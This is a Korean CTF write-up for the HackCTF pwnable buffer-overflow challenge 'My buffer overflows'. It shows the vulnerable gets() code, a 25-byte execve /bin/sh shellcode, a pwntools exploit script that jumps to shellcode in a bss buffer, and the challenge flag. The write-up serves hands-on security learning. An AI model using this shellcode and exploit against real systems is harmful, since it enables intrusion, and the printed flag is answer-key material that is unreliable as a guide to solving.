[HackCTF / pwnable] 내 버퍼가 흘러넘친다!!!

2019. 10. 4. 04:08Wargame & CTF/HackCTF

버퍼오버플로우 문제이다. 기존에는 쉘을 실행시켜주는 함수가 있었지만, 지금은 직접 쉘코드를 넣어서 실행시켜줘야 한다.


내가 쓴 쉘코드는 기본적인 25바이트 쉘코드이다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80


1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]
 
  setvbuf(stdout, 020);
  printf("Name : ");
  read(0&name, 0x32u);
  printf("input : ");
  gets(&s);
  return 0;
}
cs


쉘코드를 넣기에는 s 크기가 부족하다. 그리고 ASLR 보호기법이 걸려있을 가능성이 크다.

name은 크기도 적당하고 bss영역이기 때문에 주소가 변하지 않는다. 사용하기 딱 좋다.

name에 쉘코드를 넣고, ret에 name의 주소를 넣으면 쉘이 실행될것이다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= ELF("./prob1")
#p = process("./prob1")
= remote("ctf.j0n9hyun.xyz"3003)
 
p.recvuntil("Name : ")
 
payload = ""
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
 
p.sendline(payload)
 
p.recvuntil("input : ")
 
payload = ""
payload += "A"*(0x14+0x4)
payload += p32(e.symbols["name"])
 
p.sendline(payload)
p.interactive()
cs


내 버퍼가 흘러넘친다!!! : HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}

'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] x64_Simple_size_BOF  (0) 2019.10.04
[HackCTF / pwnable] x64_Buffer_Overflow  (0) 2019.10.04
[HackCTF / pwnable] Basic_FSB  (0) 2019.10.04
[HackCTF / pwnable] Basic_BOF #2  (0) 2019.10.04
[HackCTF / pwnable] Basic_BOF #1  (0) 2019.10.04